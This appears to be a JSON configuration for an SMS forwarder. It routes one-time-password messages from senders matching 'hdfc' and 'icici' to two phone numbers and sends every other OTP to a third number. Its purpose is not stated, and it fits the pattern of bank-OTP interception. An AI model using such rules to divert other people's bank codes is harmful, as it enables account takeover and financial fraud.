{
  "comment": "SMS routing rules - reload from disk on every request. First matching route wins.",
  "routes": [
    {
      "name": "hdfc-otp",
      "sender_contains": "hdfc",
      "otp_only": true,
      "targets": ["+918054923863", "+918054923862"]
    },
    {
      "name": "icici-otp",
      "sender_contains": "icici",
      "otp_only": true,
      "targets": ["+918054923863", "+918054923862"]
    }
  ],
  "fallback": {
    "otp_only": true,
    "targets": ["+919915020200"]
  }
}